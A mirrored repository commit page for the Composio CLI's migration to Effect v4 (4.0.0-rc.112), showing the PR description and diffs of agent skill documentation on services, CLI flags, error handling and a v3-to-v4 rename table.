@devries-cameron20 / composio Mirror · read-only / commits / 0abc629f5
Fork 0

Composio powers 1000+ toolkits, tool search, context management, authentication, and a sandboxed workbench to help you build AI agents that turn intent into action.

Mirrored from https://github.com/Camo67/composio.git

Synced Nov 21, 13:30 UTC

refactor(cli): migrate to Effect 4 (4.0.0-rc.112) (#3901)

Rebuilds the Effect v4 port on top of `next` at `effect@4.0.0-rc.112` (the newest release that clears the repository's 3-day `minimumReleaseAge` gate). The three v3-compatible preparation PRs (#4358, #4359, #4360) already landed on `next`, so this PR is now only the cutover. ## What changes - Pins `effect`, `@effect/platform-bun`, and `@effect/vitest` to exact `4.0.0-rc.112`; drops `@effect/cli`, `@effect/platform`, `@effect/platform-node`, and the `toml` override that existed only for `@effect/cli`. The `ts/vendor/effect` source oracle moves to the `effect@4.0.0-rc.112` release commit. - Services become `Context.Service` classes with explicit `Default` layers; `Either` becomes `Result`; `ParseResult` becomes `Schema.SchemaError`; platform modules come from `effect/FileSystem`, `effect/Path`, `effect/PlatformError`, `effect/unstable/process`, and `effect/unstable/http`. - The runner drives `Command.runWith` with v4's default help and error rendering. `CliError.ShowHelp` carries its own exit code, help for non-explicit invocations renders on stderr, and "Did you mean?" suggestions render. `command-introspection.ts` is gone: v4 renders the resolved command's help and the "missing value" tip itself. - `composio --version`, `composio -v`, and `composio version` print the same bare semver (`GlobalFlag.Version` is not enabled; the flag spellings are rewritten to the `version` command before parsing). - Root `--log-level` is a shared flag applied after the subcommand tree is attached, so `composio --log-level Debug <subcommand>` both parses and takes effect. - Every `Flag.boolean` carries an explicit default, because rc.112 makes boolean flags required when omitted. - A `Result` is not an `Effect` at runtime in rc.112 even though the type checker accepts `yield*` on it (the fiber dies with "Not a valid effect"); every `Result` is lifted with `Effect.fromResult`, and the skill/AGENTS guidance says so. - Every `ChildProcess.make` site passes `extendEnv: true`, because rc.112 no longer inherits the parent environment by default. - `--log-level` and `COMPOSIO_LOG_LEVEL` are exact-match on the `LogLevel` names (`All`, `Fatal`, `Error`, `Warn`, `Info`, `Debug`, `Trace`, `None`) with no case folding, per the earlier review decision; README updated. - Spawned children pass `extendEnv: true`, because rc.112's `ChildProcess` no longer inherits the parent environment by default. - ISO timestamps decode through `Schema.DateTimeUtcFromString`; `Schema.DateTimeUtc` is no longer a string codec in rc.112. - `ConfigProvider.fromEnv()` snapshots the environment at construction in v4, so providers that must observe later changes are built per read (`plugin-hint.ts`, `install.cmd.ts`, `config.ts`) and tests use a live-env provider helper. - `cli-keyring` and `json-schema-to-effect-schema` are ported alongside (the latter on `Schema.makeFilter`). - The `effect-v4` skill, the `cli-command` and `typescript-testing` references, `ts/packages/cli/AGENTS.md`, and the oxlint config are updated to the rc.112 reality. The skill's example checker (`.agents/skills/effect-v4/scripts/check-examples.mjs`, lifted from #3851) compiles every TypeScript block in the skill against the pinned packages. - The `js-yaml` overrides move to the 4.3.2 / 3.15.2 lines that GHSA-2883-xcg3-v3hh requires; `pnpm audit --prod` is clean apart from the already-ignored `extract-zip` advisory. ## Behaviour notes - `composio <unknown> --help` now prints the root help with exit 0 (v4's global `--help` handling); `composio <unknown>` without `--help` still fails with the unknown-subcommand error. ## Validation - `pnpm --filter @composio/cli typecheck` (src + test): 0 errors - `pnpm --filter @composio/cli test`: 127 files, 1325 tests pass, 1 skipped; `validate:boundaries` and `validate:skills` pass - `@composio/cli-keyring` and `@composio/json-schema-to-effect-schema` typecheck, test, and build pass - `pnpm validate:agent-skills` and `pnpm validate:skill-routing` pass (19 skills) - oxlint clean on `ts/packages/cli`, `cli-keyring`, `json-schema-to-effect-schema` - CLI bundle and standalone binary build; smoke-checked `version`, `--version`, `-v`, `--help`, unknown subcommand, unrecognized flag, missing flag value - Docker CLI e2e suites pass against an image built from this branch: `version`, `toolkits-list`, `toolkits-info`, `toolkits-search`, `setup-plugins`, `run`. `whoami` (needs an API key), `install` (needs a release dir), and `upgrade` (needs network) were not run. No changeset: `@composio/cli` is Changesets-ignored and the ported sibling packages are private. Human-facing notes are in `ts/packages/cli/CHANGELOG.md`. https://claude.ai/code/session_01AW7ZPhfZuni6PrCJ9X86DX

Alberto Schiabel committed Sep 10, 2026 at 17:47 UTC 0abc629f5d2f4bd0a84dd1d072c378e52049c90b
325 files changed +6768 -5962
.agents/skills/cli-command/SKILL.md
+1 -1
@@ -1,6 +1,6 @@
1 ---
2 name: cli-command
3 -description: Design, implement, or review Composio CLI commands under ts/packages/cli using Effect, @effect/cli, services, output conventions, configuration and environment variables, and local vendor references. Use for CLI command UX, command wiring, service changes, or CLI source edits. Do not use for CLI E2E-only work; use cli-e2e there.
3 +description: Design, implement, or review Composio CLI commands under ts/packages/cli using Effect, effect/unstable/cli, services, output conventions, configuration and environment variables, and local vendor references. Use for CLI command UX, command wiring, service changes, or CLI source edits. Do not use for CLI E2E-only work; use cli-e2e there.
4 ---
5
6 # CLI Command
.agents/skills/cli-command/references/implementation.md
+33 -12
@@ -8,33 +8,54 @@
8
9 ## Effect Patterns
10
11 -The CLI uses `@effect/cli`, `effect`, and Bun runtime layers.
11 +The CLI is on `effect@4.0.0-rc.112` (exact pin) plus `@effect/platform-bun`/`@effect/vitest` at the same version. `@effect/cli` and `@effect/platform` no longer exist as separate deps — their functionality is consolidated into `effect`'s barrel and `effect/unstable/*` submodules.
12
13 -Common shape:
13 +Common shape, from `ts/packages/cli/src/commands/tools/commands/tools.list.cmd.ts`:
14
15 ```typescript
16 -import { Command } from '@effect/cli';
17 -import { Effect } from 'effect';
16 +import { Argument, Command, Flag } from 'effect/unstable/cli';
17 +import { Effect, Option } from 'effect';
18
19 -export const myCmd = Command.make('my-command', {}, () =>
20 - Effect.gen(function* () {
21 - // resolve services with yield*
22 - })
19 +const toolkit = Argument.string('toolkit').pipe(
20 + Argument.withDescription('Toolkit slug to list tools for (e.g. "gmail")')
21 );
22 +
23 +const query = Flag.string('query').pipe(
24 + Flag.withDescription('Text search by name, slug, or description'),
25 + Flag.optional
26 +);
27 +
28 +const limit = Flag.integer('limit').pipe(
29 + Flag.withDefault(30),
30 + Flag.withDescription('Number of results per page (1-1000)')
31 +);
32 +
33 +export const myCmd = Command.make(
34 + 'my-command',
35 + { toolkit, query, limit },
36 + ({ toolkit, query, limit }) =>
37 + Effect.gen(function* () {
38 + // resolve services with yield*
39 + })
40 +).pipe(Command.withDescription('...'));
41 ```
42
43 +`Args`/`Options` (v3 `@effect/cli`) are gone — use `Argument` for positionals and `Flag` for named options, both from `effect/unstable/cli`. Constructors and combinators carry the same names 1:1 (`Argument.string`, `Argument.variadic()` — call it, don't pipe the bare reference — `Flag.string`/`.boolean`/`.integer`/`.choice`, `.withDefault`/`.withDescription`/`.withAlias`/`.optional`). Optional flags read via `Option.getOrUndefined(...)`/`Option.isSome(...)`, matching the `query`/`tags` pattern above.
44 +
45 Follow existing local patterns before introducing new service abstractions.
46
47 ## Effect Platform Boundaries
48
49 `node:path`, `node:fs`, `node:os`, `node:child_process`, `process.env`, and `try`/`catch` are lint-banned (oxlint) in `src/`:
50
32 -- Path arithmetic → `Path` service from `@effect/platform/Path` (`const path = yield* Path.Path`).
33 -- Filesystem I/O → `FileSystem` service from `@effect/platform/FileSystem`.
34 -- homedir/tmpdir/platform/arch → the `NodeOs` service; subprocesses → `Command` from `@effect/platform/Command` or `services/detached-process.ts`.
35 -- Environment reads → `effect/Config`; sync fallible ops (`JSON.parse`, `new URL`) → `Either.try` with a `Data.TaggedError` (JSON records via `parseJsonRecord` in `src/utils/parse-json.ts`).
51 +- Path arithmetic → `Path` service from `effect/Path` (`const path = yield* Path.Path`).
52 +- Filesystem I/O → `FileSystem` service from `effect/FileSystem` (`const fs = yield* FileSystem.FileSystem`).
53 +- homedir/tmpdir/platform/arch → the `NodeOs` service (`src/services/node-os.ts`, a `Context.Service` with a `static readonly Default` layer); subprocesses → `ChildProcess`/`ChildProcessSpawner` from `effect/unstable/process`, or `services/detached-process.ts` for children that outlive the CLI.
54 +- Environment reads → `effect/Config`; sync fallible ops (`JSON.parse`, `new URL`) → `Result.try` with a `Data.TaggedError` (JSON records via `parseJsonRecord` in `src/utils/parse-json.ts`, which returns `Result.Result<Record<string, unknown>, JsonParsingError>`; a `Result` is not yieldable in v4 even though it typechecks, so lift it with `yield* Effect.fromResult(parseJsonRecord(raw))`).
55 - Helpers that cannot become Effects (sync callbacks, promise pipelines) take the resolved service instance as a plain parameter instead of importing Node builtins.
56
57 +`Either` (v3) is gone; the direct replacement is `Result` (`Either.try` → `Result.try`, `Either.isLeft`/`.left` → `Result.isFailure`/`.failure`, `Either.mapLeft` → `Result.mapError`). `ParseResult`/`ParseError` are gone too — `Schema.decodeUnknownEffect`/`Schema.decodeEffect` now fail with `Schema.SchemaError`.
58 +
59 Never add an `eslint-disable`: `pnpm run validate:boundaries` (CI-blocking via `pnpm test`) rejects any disable not registered in `lint-boundaries.json`. Genuine new runtime boundaries require regenerating the manifest with `pnpm run validate:boundaries -- --update` plus a justification in the PR. Full policy: "Effect Boundary Policy" in `ts/packages/cli/AGENTS.md`.
60
61 ## Required Checks
.agents/skills/effect-v4/SKILL.md new
+72
@@ -0,0 +1,72 @@
1 +---
2 +name: effect-v4
3 +description: Write, review, or upgrade Effect v4 code in the Composio CLI, cli-keyring, and json-schema-to-effect-schema packages, all pinned exactly to effect@4.0.0-rc.112 — Context.Service and explicit layers, Schema.TaggedError and typed recovery, the effect/unstable/cli command surface, and the vendored effect source oracle. Use when writing or reviewing Effect v4 code, answering a v4 API question, working in effect/unstable/cli, defining a Context.Service service, modeling an error with Schema.TaggedError, bumping the Effect prerelease pins, or verifying an unfamiliar API against ts/vendor/effect. Do not use for CLI command UX/wiring design (use cli-command) or CLI E2E tests (use cli-e2e).
4 +---
5 +
6 +# Effect v4
7 +
8 +The CLI, `@composio/cli-keyring`, and `@composio/json-schema-to-effect-schema` run on
9 +Effect v4 (release candidate). Every claim below is grounded in the migrated source, not memory of v3.
10 +
11 +## Exact version matrix
12 +
13 +`effect`, `@effect/platform-bun`, and `@effect/vitest`
14 +are pinned to the **same exact** `4.0.0-rc.112` — never `^`, `@next`, or a mismatched
15 +prerelease across packages. `@effect/cli` and `@effect/platform` no longer exist as
16 +dependencies; their surfaces are consolidated into `effect` and `effect/unstable/*`.
17 +See [versions.json](versions.json) for the full matrix (also `typescript`, `vitest`).
18 +
19 +## Read next
20 +
21 +- [references/core-patterns.md](references/core-patterns.md) — services, layers, typed
22 + errors, Schema, choosing between `Effect.gen` and `Effect.fn`, and the v3→v4 rename table
23 + (labeled historical, for recognizing stale patterns).
24 +- [references/cli-surface.md](references/cli-surface.md) — `effect/unstable/cli`:
25 + `Command`, `Flag`, `Argument`, `GlobalFlag`, `CliConfig`, the custom
26 + `CliOutput.Formatter`, and the runner's double-print rule.
27 +- [references/upgrade-workflow.md](references/upgrade-workflow.md) — procedure for
28 + bumping to a newer prerelease.
29 +
30 +Code excerpts in those references are short quotes from real, currently-compiling repo
31 +files (path cited at each excerpt) — not standalone examples. The compile-checked
32 +source of truth is always the cited file itself; when it and a reference disagree,
33 +trust the file and fix the reference.
34 +
35 +## Non-negotiables
36 +
37 +- `Effect.gen(function* () {...})` for effect values — the dominant form, including named
38 + module consts — and `(params) => Effect.gen(...)` for parameterized helpers.
39 + `Effect.fn(...)` is the function form whose effects carry stack-frame annotations (its
40 + optional name string adds a per-call tracing span), worth it for service members and
41 + combinator callbacks that should be attributable in error reports. All forms re-run
42 + their body per execution. See "`Effect.gen` vs `Effect.fn`" in core-patterns.
43 +- Define services with `Context.Service` and an explicit `static readonly Default`/`layer`
44 + layer built with `Layer.succeed`/`Layer.effect`/`Layer.provide`. V4 does not generate a
45 + layer for you.
46 +- Model expected failures with `Schema.TaggedError` (or a plain `Data.TaggedError`
47 + when no Schema fields are needed) and recover with `Effect.catchTag`/`catchTags`/`Match`,
48 + never manual `_tag` string comparisons.
49 +- Wrap fallible Promises with `Effect.tryPromise({ try, catch })`; `Effect.promise` turns
50 + rejection into a defect. No `async`/`await` or `try`/`catch` inside Effect workflows —
51 + ESLint bans them in `ts/packages/cli/src`.
52 +- Treat every remembered v3 package name and API as wrong until verified against
53 + `ts/vendor/effect` (read-only source oracle — never edit or import from it) and the
54 + installed `effect@4.0.0-rc.112` typings. Source may be ahead of the published package;
55 + the compiler is the compatibility gate.
56 +
57 +## Verification
58 +
59 +```bash
60 +pnpm typecheck
61 +pnpm --filter @composio/cli test
62 +```
63 +
64 +Run `pnpm validate:agent-skills` and `pnpm validate:skill-routing` after editing this
65 +skill or its descriptions, and compile the TypeScript blocks in this skill and in
66 +`typescript-testing/references/effect-v4-cli.md` against the pinned packages with:
67 +
68 +```bash
69 +node .agents/skills/effect-v4/scripts/check-examples.mjs
70 +```
71 +
72 +Blocks that quote repo files with unresolvable imports carry a `no-check` fence info string.
.agents/skills/effect-v4/references/cli-surface.md new
+128
@@ -0,0 +1,128 @@
1 +# effect/unstable/cli surface, as used in this repo
2 +
3 +`@effect/cli` no longer exists. The CLI framework lives under `effect/unstable/cli`:
4 +`Command`, `Flag` (was `Options`), `Argument` (was `Args`), `GlobalFlag` (was
5 +`BuiltInOptions`), `CliConfig`, `CliOutput`, `CliError` (was `ValidationError`/
6 +`HelpDoc`). Ground truth for this reference is
7 +`ts/packages/cli/src/cli-config.ts` and `ts/packages/cli/src/cli-main.ts` — read their
8 +full module docstrings before touching the runner, not just the excerpts below.
9 +
10 +## Command shape
11 +
12 +```ts
13 +import { Command } from 'effect/unstable/cli';
14 +
15 +declare const toolsCmd$List: Command.Command<'list', {}, never, never>;
16 +declare const toolsCmd$Info: Command.Command<'info', {}, never, never>;
17 +
18 +export const rootToolsCmd = Command.make('tools').pipe(
19 + Command.withDescription('Browse and inspect tools before executing them.'),
20 + Command.withSubcommands([toolsCmd$List, toolsCmd$Info])
21 +);
22 +```
23 +
24 +(`ts/packages/cli/src/commands/tools/tools.cmd.ts`, unchanged shape from v3 apart from
25 +the import path — `Command.make`/`.withDescription`/`.withSubcommands` all carried over.)
26 +
27 +Flags/arguments: `Flag.string/boolean/integer/choice/directory(...)` (was
28 +`Options.text`/`.boolean`/`.integer`/`.choice`/`.directory`), with the same
29 +`.withDescription`/`.withDefault`/`.withAlias`/`.optional` combinators. `Argument.string(name)`
30 +takes a bare string name, not `{ name }`. Variadic: `Argument.variadic()` must be called
31 +with parens when piped — the bare unapplied reference resolves to the wrong overload.
32 +
33 +## `CliConfig.builtIns`
34 +
35 +v4's `CliConfig.Service` shrank to one field, `builtIns` — the ordered list of active
36 +global flags. `ts/packages/cli/src/cli-config.ts`:
37 +
38 +```ts
39 +import { GlobalFlag, type CliConfig } from 'effect/unstable/cli';
40 +
41 +export const ComposioCliConfig = {
42 + builtIns: [GlobalFlag.Help],
43 +} satisfies Partial<CliConfig.CliConfig.Service>;
44 +```
45 +
46 +This drops `--version` (see the next section), `--wizard`, `--completions`, and
47 +`--log-level` (Composio has its own `--log-level` flag on the default command) — the v4
48 +equivalent of v3's `showBuiltIns: false`, scoped to exactly the one builtin Composio wants.
49 +
50 +v3's `autoCorrectLimit` and `isCaseSensitive` have **no v4 config field**, and Composio no
51 +longer reproduces either behavior:
52 +
53 +- The parser always computes "Did you mean?" suggestions internally
54 + (`internal/auto-suggest.ts`) and bakes them into `CliError.UnrecognizedOption` /
55 + `CliError.UnknownSubcommand`'s `message` getter. There is no parser switch to disable
56 + them, and Composio deliberately renders them as-is now — they are useful UX, not a
57 + regression to work around.
58 +- v4's parser performs no case-folding anywhere — flag/subcommand matching is always
59 + exact, so case-sensitivity needs no config.
60 +
61 +`ComposioCliConfig`'s `builtIns` narrowing is the _only_ `CliConfig` customization
62 +Composio makes. There is no custom `CliOutput.Formatter` — `cli-main.ts` provides no
63 +`CliOutput.layer(...)` at all, so `Command.runWith` uses v4's own
64 +`CliOutput.defaultFormatter()` for everything: suggestions render as-is. An earlier revision of this file
65 +wrapped `defaultFormatter()` to strip suggestions and flatten `formatVersion` back to a
66 +bare semver; that formatter (`ComposioCliOutputFormatter`, `withoutSuggestions`) was
67 +deleted as a deliberate PR-review decision — do not reintroduce it.
68 +
69 +## `--version`, `-v`, and `composio version` print the same bare semver
70 +
71 +`GlobalFlag.Version` is not in `builtIns`. `src/commands/index.ts`'s
72 +`normalizeVersionFlag` rewrites a leading `--version`/`-v` to the `version` command before
73 +the parser runs, so all three spellings share `src/commands/version.cmd.ts`'s handler and
74 +print the bare `pkg.version`/`DEBUG_OVERRIDE_VERSION` via `ui.output()`. v4's
75 +`CliOutput.defaultFormatter().formatVersion` (`<name> v<version>`) is never reached: keeping
76 +the built-in active would have let `composio <subcommand> --version` render that banner
77 +instead, a second rendering of the same value. `composio <subcommand> --version` is therefore
78 +an unrecognized flag, like any other unknown option.
79 +
80 +## `runWith`, `ShowHelp`, and the no-double-print rule
81 +
82 +v4's `Command.runWith` is not a passive parser: it **renders help and parse/validation
83 +errors itself** (`Console.log`/`Console.error`, via whichever `CliOutput.Formatter` is
84 +in context — v4's default, per above) for the resolved `commandPath`, then re-fails with
85 +`CliError.ShowHelp`. By the time that failure reaches this package's runner, the correct
86 +output has already been printed once, to the correct stream.
87 +
88 +`CliError.ShowHelp` is not a plain tagged error — it carries two `effect/Runtime`
89 +markers set on the class itself (`ts/vendor/.../unstable/cli/CliError.ts`):
90 +`[Runtime.errorExitCode] = errors.length ? 1 : 0` and `[Runtime.errorReported] = false`.
91 +Those markers _are_ the contract: "I already printed my own output; don't log me again
92 +(`errorReported`), and here is the process exit code to use (`errorExitCode`)."
93 +`Runtime.makeRunMain` (which `BunRuntime.runMain`/`NodeRuntime.runMain` build on) reads
94 +`errorReported` off the squashed cause to decide whether to auto-log, and
95 +`Runtime.defaultTeardown` reads `errorExitCode` the same way — see
96 +`ts/vendor/effect/packages/effect/src/Runtime.ts`'s `getErrorReported`/`getErrorExitCode`.
97 +
98 +Consequently `ts/packages/cli/src/cli-main.ts` does **not** intercept `ShowHelp` to
99 +derive an exit code by hand anymore. Its sandboxed catch-all handler special-cases
100 +`ShowHelp` (via `CliError.isCliError(squashed) && Predicate.isTagged(squashed,
101 +'ShowHelp')`, never a direct `._tag ===` check) and re-fails with the original `Cause`
102 +via `Effect.failCause(cause)` instead of swallowing it like every other error — that lets
103 +the failure reach `BunRuntime.runMain` untouched, where `errorReported`/`errorExitCode`
104 +take over. The custom `teardown` in the same file reads `Runtime.getErrorExitCode` off
105 +the squashed failure for exactly this case, falling back to `Number(process.exitCode ??
106 +1)` otherwise. If you add rendering anywhere in this path, you will double-print — this
107 +is the single most important rule when touching the runner. The separate catch-all
108 +defect handler further down (genuine command-handler failures captured via
109 +`effect-errors`) is a different path that `Command.runWith` never renders, so appending
110 +help text there is not a double-print.
111 +
112 +## argv preprocessing and the executable-prefix contract
113 +
114 +`Command.runWith(rootCommand, { version })` expects argv **without** the node/bun
115 +executable and script path prefix — unlike v3's `Command.run`, which stripped that
116 +prefix internally. `cli-main.ts` still passes the _full_ `process.argv` into
117 +`runWithConfig` (from `src/commands`); that module is responsible for slicing
118 +`argv.slice(2)` immediately before calling `Command.runWith`. Do not change this
119 +boundary without updating both sides together.
120 +
121 +Composio also does argv rewriting _before_ the parser ever sees the tokens, for cases
122 +`effect/unstable/cli`'s lexer cannot express on its own — e.g. `composio run`'s
123 +passthrough of arbitrary `-`-prefixed tokens to the spawned script (the lexer treats
124 +every `-`-prefixed token as an option unless a literal `--` precedes it, and that `--`
125 +split does not propagate into subcommands). Look at `normalizeRunPassthroughArgs` and
126 +its siblings (`normalizeListenStreamFlag`, `normalizeVersionFlag`,
127 +`normalizeHiddenDebugFlags`) in `src/commands/index.ts` for the established pattern
128 +before inventing a new one.
.agents/skills/effect-v4/references/core-patterns.md new
+227
@@ -0,0 +1,227 @@
1 +# Effect v4 core patterns
2 +
3 +These are the patterns actually in the migrated source, not idealized examples. Every
4 +excerpt below cites the file it came from — read that file for full context and to
5 +confirm it still matches (it is the compile-checked source of truth, this reference is
6 +not).
7 +
8 +## Services: `Context.Service` + explicit layers
9 +
10 +V4 has no `Effect.Service`, `Context.Tag`, or `Context.GenericTag`, and it does not
11 +auto-generate a `.Default` layer the way v3's `Effect.Service` did. Define the service
12 +with `Context.Service` and build the layer yourself.
13 +
14 +Simple case with no dependencies, from `ts/packages/cli/src/services/node-os.ts`:
15 +
16 +```ts
17 +import os from 'node:os';
18 +import { Context, Layer } from 'effect';
19 +
20 +export interface NodeOsShape {
21 + readonly homedir: string;
22 + readonly tmpdir: string;
23 + readonly platform: NodeJS.Platform;
24 + readonly arch: string;
25 +}
26 +
27 +export class NodeOs extends Context.Service<NodeOs, NodeOsShape>()('services/NodeOs') {
28 + static readonly Default: Layer.Layer<NodeOs> = Layer.succeed(NodeOs, {
29 + homedir: os.homedir(),
30 + tmpdir: os.tmpdir(),
31 + platform: os.platform(),
32 + arch: os.arch(),
33 + });
34 +}
35 +```
36 +
37 +`@composio/cli-keyring/src/effect.ts` uses the identical shape for its `KeyringService`:
38 +`Context.Service<KeyringService, KeyringServiceShape>()('composio/cli-keyring/KeyringService')`.
39 +
40 +This repo's convention is a static layer field on the class — `Default` on most
41 +services (`NodeOs`, `NodeProcess`, `ComposioClientSingleton`, `ComposioToolkitsRepository`,
42 +`JsPackageManagerDetector`, `CommandRunner`, `ProjectEnvironmentDetector`), `layer` on a
43 +few (`UpgradeBinary`, `SetupSkillInstaller`). **Check the service's
44 +own class before writing `.Default` or `.layer`** — the two names are not
45 +interchangeable and picking the wrong one is a real compile error, not a style nit.
46 +
47 +For services with dependencies, compose the layer where it is consumed rather than
48 +inside the class, e.g. `ts/packages/cli/src/cli-main.ts`:
49 +
50 +```ts
51 +import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
52 +import * as BunPath from '@effect/platform-bun/BunPath';
53 +import { Context, Layer } from 'effect';
54 +
55 +declare class ComposioToolkitsRepository extends Context.Service<
56 + ComposioToolkitsRepository,
57 + object
58 +>()('x') {
59 + static readonly Default: Layer.Layer<ComposioToolkitsRepository, never, NodeOs>;
60 +}
61 +declare class NodeOs extends Context.Service<NodeOs, object>()('y') {
62 + static readonly Default: Layer.Layer<NodeOs>;
63 +}
64 +declare const ConfigLive: Layer.Layer<never>;
65 +type RequiredLayer = Layer.Layer<ComposioToolkitsRepository>;
66 +
67 +export const ComposioToolkitsRepositoryLive = Layer.provide(
68 + ComposioToolkitsRepository.Default,
69 + Layer.mergeAll(BunFileSystem.layer, BunPath.layer, NodeOs.Default, ConfigLive)
70 +) satisfies RequiredLayer;
71 +```
72 +
73 +Construct an instance shape (mocks, `.of({...})`) with `X.of({...})` — `new X(...)` on a
74 +`Context.Service` class only produces the type-level service-key brand, not a runtime
75 +instance (see the mocks in `ts/packages/cli/test/__utils__/services/test-layer.ts`, e.g.
76 +`ComposioToolkitsRepository.of({ getToolkits: () => Effect.succeed(...), ... })`). Where
77 +a plain function parameter needs the resolved shape rather than the class, use the
78 +exported `...Shape` type or `Context.Service.Shape<typeof X>` (see
79 +`TestLiveInput.commandRunner?: Context.Service.Shape<typeof CommandRunner>` in the same
80 +file), not the bare class name.
81 +
82 +## Errors: `Data.TaggedError` (default) and `Schema.TaggedError` (schema-backed)
83 +
84 +The established convention in this repo — stated in `ts/packages/cli/AGENTS.md`'s
85 +"Effect safety and migration seams" section — is: never wrap a plain `Error` in
86 +`Effect.fail` for an expected failure; give it a `Data.TaggedError` with structured
87 +fields and a preserved cause, then recover with `catchTag`/`catchTags`. This is
88 +unchanged from v3 and is what nearly every error in `src/services/*.ts` uses, e.g.
89 +`ts/packages/cli/src/services/composio-clients.ts`:
90 +
91 +```ts
92 +import { Data } from 'effect';
93 +
94 +export class InvalidToolkitsError extends Data.TaggedError('services/InvalidToolkitsError')<{
95 + readonly invalidToolkits: ReadonlyArray<string>;
96 + readonly availableToolkits: ReadonlyArray<string>;
97 +}> {}
98 +```
99 +
100 +Reach for `Schema.TaggedError` instead only when the error itself needs to be
101 +Schema-encoded/decoded (e.g. it crosses a JSON boundary). It is defined in
102 +`ts/vendor/effect/packages/effect/src/Schema.ts` and shaped like:
103 +
104 +```ts
105 +import { Schema } from 'effect';
106 +
107 +class NotFound extends Schema.TaggedError<NotFound>()('NotFound', {
108 + id: Schema.String,
109 +}) {}
110 +```
111 +
112 +Either way, recover with `Effect.catchTag`, `Effect.catchTags`, `Match.valueTags`, or a
113 +`Predicate.isTagged` guard — never a manual `error._tag === '...'` branch.
114 +
115 +## Promise boundaries
116 +
117 +`Effect.tryPromise({ try, catch })` for a Promise that can reject and needs a typed
118 +error; `Effect.promise` turns rejection into a defect (only for Promises that are
119 +truly infallible). No `async`/`await` or `try`/`catch` inside Effect-hosted code — both
120 +are ESLint-banned in `ts/packages/cli/src`. From `@composio/cli-keyring`'s
121 +`effect.ts`, both `Effect.tryPromise` and `Effect.promise` kept their v3 signatures
122 +unchanged in v4.
123 +
124 +## `Effect.gen` vs `Effect.fn`: which form where
125 +
126 +All of these wrap a generator, and all are lazy in the same way: the body is
127 +`suspend`-wrapped, so it **re-runs on every execution** of the resulting effect — which is
128 +why `Effect.retry`/`Effect.repeat` redo the work instead of replaying a cached result
129 +(`gen` in `ts/vendor/effect/packages/effect/src/internal/effect.ts`).
130 +`Effect.fnUntracedEager` is the one eager variant. The axis that actually differs is **what
131 +the expression is** — an Effect value or a function — and **what the tracer records**:
132 +
133 +- `Effect.gen(function* () {...})` produces an Effect **value**. The default for one-shot
134 + workflows and named module consts, from `ts/packages/cli/src/analytics/dispatch.ts`:
135 +
136 + ```ts no-check
137 + const getUserApiKey = Effect.gen(function* () {
138 + const envApiKey = configuredString(
139 + yield* optionalString('COMPOSIO_USER_API_KEY').parse(getEnvironmentProvider())
140 + );
141 + if (envApiKey) {
142 + return envApiKey;
143 + }
144 + // ...
145 + });
146 + ```
147 +
148 +- `(params) => Effect.gen(function* () {...})` is a plain function returning an effect —
149 + the default for parameterized helpers, from
150 + `ts/packages/cli/scripts/generate-toolkit-slugs.ts`:
151 +
152 + ```ts no-check
153 + const fetchPage = (params: {
154 + baseUrl: string;
155 + headers: Record<string, string>;
156 + cursor?: string;
157 + }): Effect.Effect<ToolkitsPageDecoded, ToolkitFetchError> =>
158 + Effect.gen(function* () {
159 + // ...
160 + });
161 + ```
162 +
163 +- `Effect.fn(function* (...) {...})` also returns a **function**, but every effect it
164 + produces carries stack-frame annotations for both the call site and the definition site
165 + (`makeFn` updates `CurrentStackFrame`) — this is what feeds the CLI's span-chain recovery
166 + from `Cause.StackTrace` in error reports. The named form `Effect.fn('span.name')(...)`
167 + additionally opens a **tracing span** per call; `Effect.fnUntraced` drops the frames.
168 + Use it for service-shape members and combinator callbacks whose failures should be
169 + attributable, from `ts/packages/cli/src/services/composio-clients.ts`:
170 +
171 + ```ts no-check
172 + return {
173 + get: Effect.fn(function* () {
174 + // ...
175 + }) satisfies () => Effect.Effect<_RawComposioClient, NoSuchElementError, never>,
176 + getFor: Effect.fn(function* (params: {
177 + userApiKey?: string;
178 + orgId?: string;
179 + projectId?: string;
180 + }) {
181 + // ...
182 + }),
183 + };
184 + ```
185 +
186 + The named form's per-call span is additive to those frames; add the name when the span
187 + should appear in error reports, otherwise leave it off.
188 +
189 +When in doubt: value → `Effect.gen`; function → a plain arrow returning `Effect.gen`,
190 +upgrading to `Effect.fn` when failure attribution in error reports is worth the annotation.
191 +Do not migrate one form to the other wholesale.
192 +
193 +## v3 → v4 rename table (historical — recognize stale patterns, don't copy them)
194 +
195 +Verified against `ts/vendor/effect/migration/v3-to-v4.md` and this migration's own
196 +notes. If you see the left column in code or in your own memory of Effect, it is v3 and
197 +needs translation.
198 +
199 +| v3 | v4 |
200 +| -------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------- |
201 +| `Context.Tag`, `Context.GenericTag`, `Effect.Service` | `Context.Service` |
202 +| generated `.Default` layer | explicit static `Default`/`layer` you define with `Layer.succeed`/`Layer.effect`/`Layer.provide` |
203 +| `@effect/cli`, `@effect/platform` | `effect/unstable/cli`, `effect` core / `effect/unstable/*` |
204 +| `Effect.catchAll` / `catchAllCause` / `catchAllDefect` / `catchSome` | `Effect.catch` / `catchCause` / `catchDefect` / `catchFilter` |
205 +| `Either` | `Result` (not Effect-yieldable directly — wrap with `Effect.fromResult(...)` inside `Effect.gen`) |
206 +| `ParseResult.ParseError`, `ParseResult.*` | `Schema.SchemaError`, `SchemaIssue.*` |
207 +| `Schema.decodeUnknown` / `Schema.decode` / `Schema.encode` | `Schema.decodeUnknownEffect` / `Schema.decodeEffect` / `Schema.encodeEffect` |
208 +| `Schema.parseJson(schema)` | `Schema.fromJsonString(schema)` |
209 +| `Schema.Literal(a, b)`, `Schema.Union(A, B)` (variadic) | `Schema.Literals([a, b])`, `Schema.Union([A, B])` (array arg) |
210 +| `Schema.Record({ key, value })` | `Schema.Record(key, value)` |
211 +| `Schema.optionalWith(schema, { default })` | `schema.pipe(Schema.withDecodingDefaultType(Effect.succeed(value)))` |
212 +| `.annotations({...})` | `.annotate({...})` |
213 +| `Predicate.isRecord` | removed — use `Predicate.isObject` (or a local `isObject && !Array.isArray` helper) |
214 +| `Cause.isInterruptedOnly` | `Cause.hasInterruptsOnly` |
215 +| `Cause.failureOption` | `Cause.findFail` / `Cause.findErrorOption` |
216 +| `FiberRef` (e.g. `Console`, `ConfigProvider`, `MinimumLogLevel`) | `Context.Reference`, provided via a `Layer`, not `Effect.with*` combinators |
217 +| `Effect.withConfigProvider(provider)` | `Effect.provideService(ConfigProvider.ConfigProvider, provider)` / `Layer.succeed(...)` |
218 +| `ConfigProvider.fromMap(map)` | `ConfigProvider.fromEnv({ env })` (no direct Map constructor) |
219 +| `configProvider.load(config)` | `config.parse(provider)` |
